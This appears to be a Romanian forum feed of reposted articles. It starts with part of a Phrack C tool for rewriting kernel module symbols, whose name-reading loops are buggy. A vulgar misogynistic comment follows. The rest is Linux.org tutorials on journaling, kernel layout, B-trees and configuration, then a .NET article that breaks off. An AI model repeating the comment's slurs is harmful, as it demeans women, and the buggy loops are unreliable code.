1) { printf("[-] Sections header corrupted"); exit(-1); } ElfGetSectionName (fd, shdr->sh_name, &shstrtable, name, sizeof (name)); if (!strcmp (name, section)) { return ehdr->e_shoff + (i * ehdr->e_shentsize); } } return -1; } int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len) { size_t i = 0; if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } while ( (i < len-1) || *res != '\0' ) { *res = fgetc (fd); i++; res++; } return 0; } void ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len) { size_t i = 0; if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1) { perror("\t[-] fseek: "); exit(-1); } while ((i < len-1) || *res != '\0') { *res = fgetc (fd); i++; res++; } return; } void usage(char *cmd) { printf("Usage: %s <option(s)> <module_name>\n", cmd); printf("Option(s):\n"); printf(" -g [symbol]\tSymbol we want to change the binding as global\n"); printf("Or:\n"); printf(" -s [symbol]\tSymbol we want to change the value (address)\n"); printf(" -v [value] \tNew value (address) for symbol\n"); return; } ---[ 9.2 - elfstrchange.patch @@ -9,6 +9,7 @@ #include <stdlib.h> #include <stdio.h> #include <elf.h> +#include <string.h> #define FATAL(X) { perror (X);exit (EXIT_FAILURE); } @@ -160,7 +161,7 @@ if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1) FATAL ("fseek"); - while ((i < len) || *res == '\0') + while ((i < len-1) || *res != '\0') { *res = fgetc (fd); i++; @@ -179,7 +180,7 @@ if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1) FATAL ("fseek"); - while ((i < len) || *res == '\0') + while ((i < len-1) || *res != '\0') { *res = fgetc (fd); i++; ---[ EOF Sursa: http://www.phrack.org/issues.html?issue=68&id=6#article
  2. Ce cacat, a ajuns o pizda sa se ia de Linus? Daca nu era asa "rau", kernelul nu era niciodata atat de stabil! Acum, sincer, fiind foarte multe persoane care scriu cod (chiar si FEMEI, ciudat), e normal ca cel putin o parte dintre aceste persoane sa scrie cod cu picioarele, si Linus are tot dreptul sa se pise pe ei (si pe ELE). Nu vreau sa par misogin, dar ce cauta femeile la kernel?
  3. Journal File System Jarret W. Buse JOURNALING If a system crashes, sometimes the loss of data occurs. Files written (created or modified), during a system crash, can be corrupted if not closed when the system shuts down. Using a journal allows data recovery of files and the data within it. What occurs during the journaling process is that a user submits a change to a file. The first thing the file system does is to mark the changes in a 'journal', or a separate file used specifically for journaling. The size of the journal file is a set size which when full, older entries are overwritten (often called a circular file). Three events can cause the journal entries to be written to the specified files: 1. File system buffer is low 2. Timed setting has expired 3. Journal is getting full and could start overwriting itself If a crash occurs, the journal entries and files are compared. Data is written to the files that are in the journal, but not yet on the disk. The process recovers the data to its wanted state. There are three types of Journaling: writeback, ordered and data. 1. writeback Here, only the metadata is journaled and data is written to the file on the disk. In a crash, the file system is recoverable, but the physical data can be corrupted. Corruption can occur if a crash happens after the journal is made of the metadata, but before the writing of the physical data. File system recovery is the worst, but the performance is the best. 2. ordered (default) This mode is the reverse of writeback. The physical data is written first before the metadata is journaled. The ordered mode allows the data and file system to be uncorrupted if a system crashes before the journal is written. File system recovery is medial. 3. data In the data mode, the metadata and file contents are journaled. System performance can be poorer than the other two modes, but the fault tolerance is much better. NOTE: Be aware that fault tolerance is not 100% guaranteed if a hard disk failure occurs that is irrecoverable. Data backups need to be performed persistently for data recovery by a hardware failure (or destruction of a computer - fire, and the like). Let's back up a bit. The Journal itself may or may not be on the same physical hard disk as the data it journals. Some file systems may place the log in the same partition as the data on the same physical disk, but its own partition, or on a separate physical drive. Be aware that the Journal file sometimes is not readily visible to a user. Occasionally, the journal is part of the file system and therefore not viewable at all. For some file systems (ext 3 and 4) you can use the following code to read the journal showing block pointers: sudo debugfs /dev/sda# (where # is the partition number - the default is 1 for the first partition) debugfs: logdump You should get something similar to the following (from an ext4 file system with writeback): Journal starts at block 1, transaction 2 Found expected sequence 2, type 1 (descriptor block) at block 1 Found expected sequence 2, type 2 (commit block) at block 4 Found expected sequence 3, type 1 (descriptor block) at block 5 Found expected sequence 3, type 2 (commit block) at block 7 Found expected sequence 4, type 1 (descriptor block) at block 8 Found expected sequence 4, type 2 (commit block) at block 10 Found expected sequence 5, type 1 (descriptor block) at block 11 Found expected sequence 5, type 2 (commit block) at block 13 Found expected sequence 6, type 1 (descriptor block) at block 14 Found expected sequence 6, type 2 (commit block) at block 16 Found expected sequence 7, type 1 (descriptor block) at block 17 Found expected sequence 7, type 2 (commit block) at block 20 Found expected sequence 8, type 1 (descriptor block) at block 21 Found expected sequence 8, type 2 (commit block) at block 23 Found expected sequence 9, type 1 (descriptor block) at block 24 Found expected sequence 9, type 2 (commit block) at block 30 Found expected sequence 10, type 1 (descriptor block) at block 31 Found expected sequence 10, type 2 (commit block) at block 33 Found expected sequence 11, type 1 (descriptor block) at block 34 Found expected sequence 11, type 2 (commit block) at block 36 Found expected sequence 12, type 1 (descriptor block) at block 37 Found expected sequence 12, type 2 (commit block) at block 39 Found expected sequence 13, type 1 (descriptor block) at block 40 Found expected sequence 13, type 2 (commit block) at block 42 Found expected sequence 14, type 1 (descriptor block) at block 43 Found expected sequence 14, type 2 (commit block) at block 45 Found expected sequence 15, type 1 (descriptor block) at block 46 Found expected sequence 15, type 2 (commit block) at block 48 Found expected sequence 16, type 1 (descriptor block) at block 49 Found expected sequence 16, type 2 (commit block) at block 51 Found expected sequence 17, type 1 (descriptor block) at block 52 Found expected sequence 17, type 2 (commit block) at block 54 Found expected sequence 18, type 1 (descriptor block) at block 55 Found expected sequence 18, type 2 (commit block) at block 57 Found expected sequence 19, type 1 (descriptor block) at block 58 Found expected sequence 19, type 2 (commit block) at block 60 Found expected sequence 20, type 1 (descriptor block) at block 61 Found expected sequence 20, type 2 (commit block) at block 63 Found expected sequence 21, type 1 (descriptor block) at block 64 Found expected sequence 21, type 2 (commit block) at block 66 Found expected sequence 22, type 1 (descriptor block) at block 67 Found expected sequence 22, type 2 (commit block) at block 69 Found expected sequence 23, type 1 (descriptor block) at block 70 Found expected sequence 23, type 2 (commit block) at block 72 Found expected sequence 24, type 1 (descriptor block) at block 73 Found expected sequence 24, type 2 (commit block) at block 75 Found expected sequence 25, type 1 (descriptor block) at block 76 Found expected sequence 25, type 2 (commit block) at block 78 Found expected sequence 26, type 1 (descriptor block) at block 79 Found expected sequence 26, type 2 (commit block) at block 81 Found expected sequence 27, type 1 (descriptor block) at block 82 Found expected sequence 27, type 2 (commit block) at block 84 Found expected sequence 28, type 1 (descriptor block) at block 85 Found expected sequence 28, type 2 (commit block) at block 87 Found expected sequence 29, type 1 (descriptor block) at block 88 Found expected sequence 29, type 2 (commit block) at block 90 Found expected sequence 30, type 1 (descriptor block) at block 91 Found expected sequence 30, type 2 (commit block) at block 93 No magic number at block 94: end of journal. The "type 1" entries are entries in the journal at the beginning of a transaction (in this case the writing of 3 data blocks). The "type 2" are the blocks of the data written to the journal, either metadata and/or file information depending on the Journaling type selected. Shown in the previous example, the journal starts at block 1. It has 2 transactions and ends at block 94. Overall, you need to decide if a journal is needed to help with recovery of data. If so, the Journal mode needs to be determined, but usually the default of the ordered type gives a median of performance and recovery. Always keep in mind not to rely on the journal for data redundancy. The journal only assists in data recovery for a file system error, not a hardware failure. Nothing ever compares to data backups for full recovery of data. Sursa: Journal File System | Linux.org
  4. [h=1]The Linux Kernel: The Source Code[/h][h=3]DevynCJohnson[/h]After the kernel source code is downloaded and uncompressed, users will see many folders and files. It may be a challenge trying to find a particular file. Thankfully, the source code is sorted in a specific way. This enables developers to find any given file or part of the kernel. The root of the kernel source code contains the folders listed below. arch block crypto Documentation drivers firmware fs include init ipc kernel lib mm net samples scripts security sound tools usr virt There are also some files that are located in the root of the source code. They are listed in the table below. COPYING - Information about licensing and rights. The Linux kernel is licensed under the GPLv2 license. This license grants anyone the right to use, modify, distribute, and share the source code and compiled code for free. However, no one can sell the source code. CREDITS - List of contributors Kbuild - This is a script that sets up some settings for making the kernel. For example, this script sets up a ARCH variable where ARCH is the processor type that a developer wants the kernel to support. Kconfig - This script is used when developer configure the kernel which will be discussed in a later article. MAINTAINERS - This is a list of the current maintainers, their email addresses, website, and the specific file or part of the kernel that they specialize in developing and fixing. This is useful for when a developer finds a bug in the kernel and they wish to report the bug to the maintainer that can handle the issue. Makefile - This script is the main file that is used to compile the kernel. This file passes parameters to the compiler as well as the list of files to compile and any other necessary information. README - This text file provides information to developers that want to know how to compile the kernel. REPORTING-BUGS - This text document provides information on reporting bugs. The coding for the kernel will be in files with the extension ".c", or ".h". The “.c” extension indicates that the kernel is written in C, one of many programming languages. The “.h” files are Header files, and they are also written in C. The header files contain code that many of the “.c” files use. This saves programmers' time because they can use the contained code instead of writing new code. Otherwise, a group of code that performs the same action would be in many or all of the “.c” files. That would also consume and waste hard drive space. All of the files in the above listed folders are well organized. The folder names help developers to at least have a good guess on the contents of the folders. A directory tree and descriptions are provided below. arch - This folder contains a Kconfig which sets up some settings for compiling the source code that belongs in this folder. Each supported processor architecture is in the corresponding folder. So, the source code for Alpha processors belong in the alpha folder. Keep in mind that as time goes on, some new processors will be supported, or some may be dropped. For Linux Kernel v3.9.4, these are the folders under arch: alpha arc arm arm64 avr32 blackfin c6x cris frv h8300 hexagon ia64 m32r m68k metag microblaze mips mn10300 openrisc parisc powerpc s390 score sh sparc tile um unicore32 x86 xtensa block – This folder holds code for block-device drivers. Block devices are devices that accept and send data in blocks. Data blocks are chunks of data instead of a continual stream. crypto - This folder contains the source code for many encryption algorithms. For example, “sha1_generic.c” is the file that contains the code for the sha1 encryption algorithm. Documentation - This folder contains plain-text documents that provide information on the kernel and many of the files. If a developer needs information, they may be able to find the needed information in here. drivers - This directory contains the code for the drivers. A driver is software that controls a piece of hardware. For example, for a computer to understand the keyboard and make it usable, a keyboard driver is needed. Many folders exist in this folder. Each folder is named after each piece or type of hardware. For example, the bluetooth folder holds the code for bluetooth drivers. Other obvious drivers are scsi, usb, and firewire. Some drivers may be more difficult to find. For instance, joystick drivers are not in a joystick folder. Instead, they are under ./drivers/input/joystick. Keyboard and mouse drivers are also located in the input folder. The Macintosh folder contains code for hardware made by Apple. The xen folder contains code for the Xen hypervisor. A hypervisor is software or hardware that allows users to run multiple operating systems on a single computer. This means that the xen code would allow users to have two or more Linux system running on one computer at the same time. Users could also run Windows, Solaris, FreeBSD, or some other operating system on the Linux system. There are many other folders under drivers, but they are too numerous to mention in this article, but they will in a later article. firmware - The firmware folder contains code that allows the computer to read and understand signals from devices. For illustration, a webcam manages its own hardware, but the computer must understand the signals that the webcam is sending the computer. The Linux system will then use the vicam firmware to understand the webcam. Otherwise, without firmware, the Linux system does not know how to process the information that the webcam is sending. Also, the firmware helps the Linux system to send messages to the device. The Linux system could then tell the webcam to refocus or turnoff. fs - This is the FileSystem folder. All of the code needed to understand and use filesystems is here. Inside this folder, each filesystem's code is in its own folder. For instance, the ext4 filesystem's code is in the ext4 folder. Within the fs folder, developers will see some files not in folders. These files handle filesystems overall. For example, mount.h would contain code for mounting filesystems. A filesystem is a structured way to store and manage files and directories on a storage device. Each filesystem has its own advantages and disadvantages. These are due to the programming of the filesystem. For illustration, the NTFS filesystem supports transparent compression (when enabled, files are automatically compressed without the user noticing). Most filesystems lack this feature, but they could only possess this ability if it is programmed into the files in the fs folder. include - The include folder contains miscellaneous header files that the kernel uses. The name for the folder comes from the C command "include" that is used to import a header into C code upon compilation. init - The init folder has code that deals with the startup of the kernel (INITiation). The main.c file is the core of the kernel. This is the main source code file the connects all of the other files. ipc - IPC stands for Inter-Process Communication. This folder has the code that handles the communication layer between the kernel and processes. The kernel controls the hardware and programs can only ask the kernel to perform a task. Assume a user has a program that opens the DVD tray. The program does not open the tray directly. Instead, the program informs the kernel that the tray should be opened. Then, the kernel opens the tray by sending a signal to the hardware. This code also manages the kill signals. For illustration, when a system administrator opens a process manager to close a program that has locked-up, the signal to close the program is called a kill signal. The kernel receives the signal and then the kernel (depending on which type of kill signal) will ask the program to stop or the kernel will simply take the process out of the memory and CPU. Pipes used in the command-line are also used by the IPC. The pipes tell the kernel to place the output data on a physical page on in memory. The program or command receiving the data is given a pointer to the page on memory. kernel - The code in this folder controls the kernel itself. For instance, if a debugger needed to trace an issue, the kernel would use code that originated from source files in this folder to inform the debugger of all of the actions that the kernel performs. There is also code here for keeping track of time. In the kernel folder is a directory titled "power". Some code in this folder provide the abilities for the computer to restart, power-off, and suspend. lib - the library folder has the code for the kernel's library which is a set of files that that the kernel will need to reference. mm - The Memory Management folder contains the code for managing the memory. Memory is not randomly placed on the RAM. Instead, the kernel places the data on the RAM carefully. The kernel does not overwrite any memory that is being used or that holds important data. net - The network folder contains the code for network protocols. This includes code for IPv6 and Appletalk as well as protocols for Ethernet, wifi, bluetooth, etc. Also, the code for handling network bridges and DNS name resolution is in the net directory. samples - This folder contains programming examples and modules that are being started. Assume a new module with a helpful feature is wanted, but no programmer has announced that they would work on the project. Well, these modules go here. This gives new kernel programmers a chance to help by going through this folder and picking a module they would like to help develop. scripts - This folder has the scripts needed for compiling the kernel. It is best to not change anything in this folder. Otherwise, you may not be able to configure or make a kernel. security - This folder has the code for the security of the kernel. It is important to protect the kernel from computer viruses and hackers. Otherwise, the Linux system can be damaged. Kernel security will be discussed in a later article. sound - This directory has sound driver code for sound/audio cards. tools - This directory contains tools that interact with the kernel. usr - Remember the vmlinuz file and similar files mentioned in the previous article? The code in this folder creates those files after the kernel is compiled. virt - This folder contains code for virtualization which allows users to run multiple operating systems at once. This is different from Xen (mentioned previously). With virtualization, the guest operating system is acting like any other application within the Linux operating system (host system). With a hypervisor like Xen, the two operating systems are managing the hardware together and the same time. In virtualization, the guest OS runs on top of the Linux kernel while in a hypervisor, there is no guest OS and all of the operating systems do not depend on each other. Tip: Never move a file in the kernel source unless you know what you are doing. Otherwise, the compilation with fail due to a "missing" file. The Linux kernel folder structure has remained relatively constant. The kernel developers have made some modifications, but overall, this setup is the same throughout all kernel versions. The driver folder's layout also remains about the same. The next article will discuss kernel drivers. Sursa: The Linux Kernel: The Source Code | Linux.org
  5. [h=1]Trees, B-Trees, B+Trees and H-Trees[/h][h=3]Jarret W. Buse[/h]B+Tree B-Trees are used to help search various data. Some file systems use B+Tree to search directories, extent descriptors, file allocation and even file retrieval. In the future, B+Tree may be used to search through more types of data within the file systems. First, let's look at a Tree, and we'll use letters to represent files (C, F, L, N, P and Z). A Tree is a tree structure (upside down as most people say), which consists of one root node, children nodes and leaf nodes. Each node contains a key and pointer. The key is the search item, such as a file name. The data pointer for the key points to the actual data. So, looking at Figure 1, let's assume File L is entered first in the Tree. FIGURE 1 The next File added is File C. File C is added under the root node and to the left since the value is less than the root (C<Z). Greater values go to the right, so if File Z is added, it goes to the right of the root as shown in Figure 2. FIGURE 2 We have 3 files left to add, so let's add File F, N and P as shown in Figure 3. FIGURE 3 In this case, the Tree is not balanced; that is, there are more nodes to the right of the root than to the left. In some cases, this may be fine. If you access File L more than the others, the search will occur very quickly. Of course with the number of files on some file systems being over 10,000, this Tree would be quite large. From Figure 3, Node L is the root node. Node C is a child node (as is Node Z and N). Nodes F and P are Leaf Nodes. Leaf Nodes are the nodes on the end that have no child nodes. Node C is considered a parent of Nodes F. Node L (root) is the parent of Node C and Z. In an extreme case, the root could be File Z, followed by a child node of File P, then N, L, F and finally C as shown in Figure 4. The layout would produce a very unbalanced tree that most likely would cause lengthy searches. FIGURE 4 Now, B-Tree uses more keys within a node, otherwise referred to as the order. If a B-Tree node contains five pointers, it is a B-Tree of order 5. Let's look at an example of a B-Tree root as shown in Figure 5. FIGURE 5 The dots represent the pointers while the numbers represent the key values (file names, etc.). Notice that for this node, each Key has a partnered Pointer: Key-1 and Pointer-1, Key-2 and Pointer-2, etc. If you look at Figure 5, you notice there is an extra Pointer (Pointer-0). The tree works in a similar way as a regular tree. If the search item we are looking for is less than Key-1, Pointer-0 is followed. If the search item is greater than or equal to Key-1 and less than Key-2, we follow Pointer-1. If the search item is greater than or equal to Key-2 and less than Key-3, we follow Pointer-2. For example, if we were searching for number 1, we would follow Pointer-0. If we were searching for 12, we would follow Pointer-2. By following these pointers, we are led to another node to perform the same task and so on until we reach a leaf which contains the search value. The search value points to our file we are searching for or the search item is not found and an error message is returned. Take a look at Figure 6 for the following example. FIGURE 6 Let's say we are searching for 5. We start at the root node and determine if the search value is less than Key-1 (3). Since it is not, we see if the search value is between Key-1 (3) and Key-2 (10), which it is so we follow Pointer-1. At this node, we check if the search value is less than Key-1 (5), it is not. Our search value is equal to Key-1 (5) so we follow Pointer-1 and find two leaf nodes (5 and 6). The first value matches our search, so we use the value in the leaf node to get to the file for which we have been searching. Now, let's say we are searching for File-18. We start at the root and follow Pointer-2 since our search value is greater than or equal to Key-2 (10). At the next node, we have three key values to check: 10, 15 and 22. We know that 18 is greater than 10 and 15, so we can skip Pointer-0 and Pointer-1, and we follow Pointer-2. At the leaf nodes, we find two leaves, 15 and 20. File-18 does not exist and a message can alert the user that there is no such file. NOTE: Be aware that these searches typically are extremely fast. You can see how a tree can allow for faster searching than going through a whole sequential file. Now to move on to the more difficult parts: insertion and deletion. For Figure 6, let's add File-12. The first thing that is done when doing an insertion or deletion is to search for the entry that is being inserted or deleted. This is done for specific reasons: Insertion - the entry must not already exist Deletion - the entry must already exist If the entry to be inserted exists, or the entry to delete does not exist, a message is generated. In the case of an indexed file listing for a file system, if a file exists that we are copying to the harddisk, we get a query asking to overwrite the file (it was found in the B-Tree). If we want to delete a file that does not exist, we get an error that the file does not exist. Now, to get to the details of inserting File-12; if you look at Figure 6, we follow Pointer-2 to the next node. File-12 is greater than Key-1 (10) and less than Key-2 (15), so we follow Pointer-1. Now we find two leaf nodes (10 and 14). File-12 should be inserted between the two as shown in Figure 7. File-12 is placed between the leaves since it goes there, and since it falls between Leaf-10 and Leaf-14, no entries need to be made in a node. FIGURE 7 Now, let's look at the possibility of adding File-8. Looking at Figure 7, we can see the File-8 would be searched for, from the root, down Pointer-1. File-8 does not fit in this node anywhere, so another key must be made: Key-3 (8) as shown in Figure 8. FIGURE 8 Now we can try another. Let's add File-30. Following Pointer-2 from the root, we get to a node that has one space left, and File-30 is added there as shown in Figure 9. FIGURE 9 What happens if we want to add File-40? Well, if the B-tree is an order 5, we can only have five pointers per node. By adding File-40, we would create a node with more than five pointers. To accomplish the insertion, we take the node that is full and remove half the keys and pointer pairs. These entries will then be placed in a new node. All associated leaves will be moved as well, as shown in Figure 10. NOTE: Each node must contain at least 2 keys (the root is the exception). FIGURE 10 The keys (22 and 30) are moved to a new node. The largest leaf value (20) is added to the previous node Key-3 so we now have a new high end for the node. Key-2 will now become File-40 when inserting the new key. The first Key (30) of the new node must be placed in the root and a pointer associated with it. As you can see, File-22 and File-27 are placed in leaf nodes with Pointer-0 pointing to it. NOTE: When something changes, the effect can "ripple" up to the root node. This is extremely true for large B-Trees which may have fuller nodes. Looking at Figure 10, if one of the following entries were to be deleted (6, 9, 12, 14, 22, or 27), these could be removed with no further actions. A search would be performed and once the entry was found, the leaf would be deleted. For example, to delete File-9 from the B-Tree would result in Figure 11. FIGURE 11 Now, let’s look at what happens if we remove File-5. File-5 can easily be removed, but it is also a key. Here the key would be removed as well. Keys (7 and 8) to the right of the key would be moved to the left. Any leaf nodes not being removed (6) would be moved to be with the leaves (3) to the left as well as shown in Figure 12. FIGURE 12 If we removed File-30, the same would happen, but the key in the root would change to the new Key-1 for the node as shown in Figure 13. FIGURE 13 If we also removed File-40, the last node would be removed as well as Key-3 in the root node as shown in Figure 14. The leaves 22 and 27 can be moved to the left node. FIGURE 14 The difference between the B-Tree and B+Tree is that a B+Tree allows for data to be stored in the leaves only, while a B-Tree can store data in the Nodes. B+Trees can also store keys with the same data to allow for redundant data, but B-Trees cannot do this. Note: Another type of Tree is the H-Tree. The H-Tree is the same as a B+Tree except that the keys are not a file name, directory name or whatever is being searched, but the keys are hashes. A hash is made of the key being placed into the H-Tree. Sursa: Trees, B-Trees, B+Trees and H-Trees | Linux.org
  6. [h=1]The Linux Kernel: Configuring the Kernel (Part 1)[/h][h=3]DevynCJohnson[/h]Now that we understand the Linux kernel, we can move on to the main event - configuring and compiling the code. Configuring code for the kernel does take a lot of time. The configuration tool asks many questions and allows developers to configure every aspect of the kernel. If unsure about any question or feature, it is best to pick the default value provided by the configuration tool. This tutorial series will walk readers through the whole process of configuring the kernel. To configure the code, open a terminal in the main source code folder. Once a terminal is up, there are a few ways to configure the code based on the preferred configuration interface. make config - Plain text interface (most commonly used choice) make menuconfig - Text-based with colored menus and radiolists. This options allows developers to save their progress. - ncurses (ncurses-devel) must be installed make nconfig - Text-based colored menus - curses (libcdk5-dev) must be installed make xconfig - QT/X-windows interface – QT is required make gconfig - Gtk/X-windows interface – GTK is required make oldconfig - Plain text interface that defaults questions based on the local config file make silentoldconfig - This is the same as oldconfig except the questions answered by the config file will not be shown make olddefconfig - This is like silentoldconfig except some questions are answered by their defaults make defconfig - This option creates a config file that uses default settings based on the current system's architecture. make ${PLATFORM}_defconfig - Creates a config file using values from arch/$ARCH/configs/${PLATFORM}_defconfig. make allyesconfig - This option creates a config file that will answer yes to as many questions as possible. make allmodconfig - This option creates a config file that will make as many parts of the kernel a module as possible NOTE: Code in the Linux kernel can be put in the kernel itself or made as a module. For instance, users can add Bluetooth drivers as a module (separate from the kernel), add to the kernel itself, or not add at all. When code is added to the kernel itself, the kernel requires more RAM space and boot-up time may take longer. However, the kernel will perform better. If code is added as modules, the code will remain on the hard-drive until the code is needed. Then, the module is loaded to RAM. This will reduce the kernel's RAM usage and decrease boot time. However, the kernel's performance may suffer because the kernel and the modules will be spread throughout the RAM. The other choice is to not add some code. For illustration, a kernel developer may know that a system will never use Bluetooth devices. As a result, the drivers are not added to the kernel. This improves the kernel's performance. However, if users later need Bluetooth devices, they will need to install Bluetooth modules or update the whole kernel. make allnoconfig - This option creates a config file that will only add essential code to the kernel; this answers no to as many questions as possible make randconfig - This option makes random choices for the kernel make localmodconfig - This option creates a config file based on the current list of loaded modules and system configuration. make localyesconfig - This will set all module options to yes - most of the kernel will be in modules TIP: It is best to use “make menuconfig” because users can save their progress. “make config” does not offer this luxury. Because the configuration process takes a lot of time, Configuration: Most developers choose "make menuconfig" or one of the other graphical menus. After typing the desired command, the first question asks whether the kernel to be built is going to be a 64-bit kernel or not. The choices are "Y", "n", and "?". The question mark explains the question, "n" answers no to the question, and "Y" answers yes to the question. For this tutorial, I will choose yes. To do this I type "Y" (this is case-insensitive) and hit enter. NOTE: If the kernel is compiled on a 32-bit system, then the configuration tool would ask if the kernel should be 32-bit. The first question is different on other processors. The next line shows "Cross-compiler tool prefix (CROSS_COMPILE) []". If you are not cross-compiling, hit enter. If you are cross-compiling, type something like "arm-unknown-linux-gnu-" for ARM systems or "x86_64-pc-linux-gnu-" for 64-bit PC systems. There are many other possible commands for other processor types, but the list can be quite large. Once a developer knows what processor they want to support, it is easy to research the command needed for that processor. NOTE: Cross-compiling is compiling code to be used on other processors. For illustration, an Intel system that is cross-compiling code is making applications for processors other than Intel. So, this system may be compiling code for ARM or AMD processors. NOTE: Each choice will change which questions come up and when they are displayed. I will include my choices so readers can follow the configuration process on their own system. Next, users will see "Local version - append to kernel release (LOCALVERSION) []". This is where developers can give a special version number or name to their customized kernel. I will type "LinuxDotOrg". The kernel version is now “3.9.4-LinuxDotOrg”. Next, the configuration tool asks "Automatically append version information to the version string (LOCALVERSION_AUTO) [N/y/?]". If a git tree is found, the revision number will be appended. This example is not using git, so I will answer no. Other wise the git revision number will be appended to the version. Remember vmlinuz and similar files? Well, the next question asks which compression format should be used. The developer can choose one through five. The choices are 1. Gzip (KERNEL_GZIP) 2. Bzip2 (KERNEL_BZIP2) 3. LZMA (KERNEL_LZMA) 4. XZ (KERNEL_XZ) 5. LZO (KERNEL_LZO) Gzip is the default, so I will press “1” and hit enter. Each compression format has greater or less compression ratios compared to the other formats. A better compression ratio means a smaller file, but more time is needed to uncompress the file while the opposite applies to lower compression ratios. Now, this line is displayed - “Default hostname (DEFAULT_HOSTNAME) [(none)]”. The default hostname can be configured. Usually, developers leave this blank (I left it blank) so that Linux users can set up their own hostname. Next, developers can enable or disable the use of swap space. Linux uses a separate partition called “swap space” to use as virtual memory. This is equivalent to Windows' paging file. Typically, developers answer yes for the line “Support for paging of anonymous memory (swap) (SWAP) [Y/n/?]”. The next line (System V IPC (SYSVIPC) [Y/n/?]) asks if the kernel should support IPC. Inter Process Communication allows processes to communicate and sync. It is best to enable IPC, otherwise, many applications will not work. Answering yes to this question will cause the configuration tool to ask “POSIX Message Queues (POSIX_MQUEUE) [Y/n/?]”. This question will only be seen if IPC is enabled. POSIX message queues is a messaging queue (a form of interprocess communication) where each message is given a priority. The default choice is yes. Hit enter to choose the default choice (indicated by the capitalized choice). The next question (open by fhandle syscalls (FHANDLE) [Y/n/?]) is asking if programs will be permitted to use file handles instead of filenames when performing filesystem operations if needed. By default, the answer is yes. Sometimes, when a developer has made certain choices, some questions will automatically be answered. For instance, the next question (Auditing support (AUDIT) [Y/?]) is answered yes without prompting because previous choices require this feature. Auditing-support logs the accesses and modifications of all files. The next question relates to auditing (Enable system-call auditing support (AUDITSYSCALL) [Y/n/?]). If enabled, all system calls are logged. If the developer wants performance, then as much auditing features as possible should be disabled and not added to the kernel. Some developers may enable auditing for security monitoring. I will select “no” for this question. The next audit question (Make audit loginuid immutable (AUDIT_LOGINUID_IMMUTABLE) [N/y/?]) is asking if processes can change their loginuid (LOGIN User ID). If enabled, processes in userspace will not be able to change their own loginuids. For better performance, we will disable this feature. NOTE: When configuring via “make config”, the questions that are answered by the configuration tool are displayed, but the user does not have a way to change the answer. When configuring via “make menuconfig”, the user cannot change the option no matter what button is pressed. Developers should not want to change options like that anyway because a previous choice requires another question to be answered a certain way. In the next article, we can configure the IRQ subsystem and all of the following choices. Sursa: The Linux Kernel: Configuring the Kernel (Part 1) | Linux.org
  7. [h=1].NET Assembly Programming[/h]Ajay Yadav July 16, 2013 Abstract In this series, we’ll examine the core details of creating, deploying and configuring .NET assemblies and its advantage over existing COM technology. This article goes deeper in terms of understanding the role and format of .NET assembly and modules. You ‘ll explore assembly manifest and how exactly the .NET runtime resolve the location of assembly and you ‘ll also come to understand the assembly CIL code .This article will also state the distinction between single file and multi-file assemblies. Problem with COM Microsoft itself introduced the phrase “DLL Hell” to describe traditional problem with existing COM DLLs. Often old DLL’s are replaced by a new version, and will break applications because a newly installed application overwrites a DLL that has also been used by another application. In fact, such problems occur due to improperly checked versions of DLL by the installation program, while new DLL should be backward compatible with the old version to keep the continuity of existing functionality. The side-by-side DLL installation feature provided by the existing the COM technology is unavailable. Various DLL incorporated functionality features are also referenced to another couple of locations but such functionality is terminated when the old version is replaced by a new functionality version. You can install two different types of a single assembly in a side-by-side installation feature. Although, this can be applied with COM DLLs but a problem will arise in such a case. Literally, COM DLLs are not self-describing. The configuration of a COM component is stored in the registry, not in the Component DLL itself. So the configuration information is taken from the last version rather than two versions of a single DLL simultaneously. Understanding Assembly The .NET Framework overcomes the DLL Hell or Version issues with existing COM Technology by introducing assemblies. Assemblies are self-describing installation units, consisting of single or multiple files. Virtually, every file that is developed and executed under the .NET Common Language Runtime (CLR) is called, an assembly. One Assembly file contains metadata and could be an .EXE, DLL or Resource file. Now, let’s discuss some of the comprehensive benefits provided by the assembly. Assemblies can be deployed as private or shared. Private assemblies reside in the same solution directory. Shared assemblies, on the other hand, are libraries intended to be consumed by numerous applications on a single machine, because they are deployed to a central repository called GAC. The .NET assemblies are assigned a special 4-digit number to concurrently run the multiple versions of an assembly. The 4-digit special number can be specified as “<major>.<minor>.<build>.<revision>”. In assembly archives every external assembly reference must have access in order to function properly. However, assemblies are self-describing by documenting all the external references in the manifest. The comprehensive details of assemblies such as member function, variable name, base class, interface and constructors are placed in the metadata so that CLR does not need to consult the windows system registry to resolve its location. The .NET framework offers you to reuse types in a language-independent manner by not caring how a code library is packaged. Application isolation is ensured using application domains. A number of applications can run independently inside a single process with an application domain. Installation of an assembly can be as simple as copying all of its files. Unlike COM, there is no need to register them in a windows system registry. Modules Before delving into assembly types in detail, let’s discuss the modules. An assembly is typically, composed of multiple modules. A module is a DLL without assembly attributes. To get a better understanding, we are creating a c# class library project as the following: public class test { public test() { } public test(string fname, string lname) { this.FName = fname; this.LName = lname; } public string FName { get; set; } public string LName { get; set; } public override string ToString() { return FName + " " +LName; } } A module can be created by csc.exe with /module switch. The following command creates a module test.netmodule as; csc /target:module test.cs A module also has a manifest, but there isn’t an .assembly entry inside the manifest because a module doesn’t have a assembly attribute. We can view a module manifest using ildasm utility as following: The main objective behind modules is that they can be used for faster startup of assemblies, because not all types are inside a single file. The modules are loaded when needed. Secondly, if you want to create an assembly with more than one programming language then one module could be in VB.NET and another in F#.NET. Finally, these two modules could be included in a single file. Single file and Multi-file Assembly Technically speaking, an assembly can be formed from a single file and multi-file. A single file assembly contains all the necessary elements such as CIL code, header files and manifests in a single *.exe or *.dll package. A multi-file assembly, on the other hand, is a set of .NET modules that are deployed and versioned as a single unit. Formally speaking, these modules are termed as primary and secondary modules. The primary module contains an assembly-level manifest and secondary modules which having *.netmodule extension contains a module-level manifest. The major benefit of multi-file assembly is that they provide a very efficient way to download content. Assembly Structure An assembly is comprised of assembly metadata describing the complete assembly, type metadata unfolding the exported type and methods, MSIL code and resources. All these fragments can be inside of one file or spread across several files. Structurally speaking, an assembly is composed of the following elements: CIL code The CIL code is a CPU and platform-agnostic intermediate language. It can be considered the core back-bone of an assembly. Given this design, the .NET assemblies can indeed execute on a variety of devices, architectures and operating systems. At the runtime, the 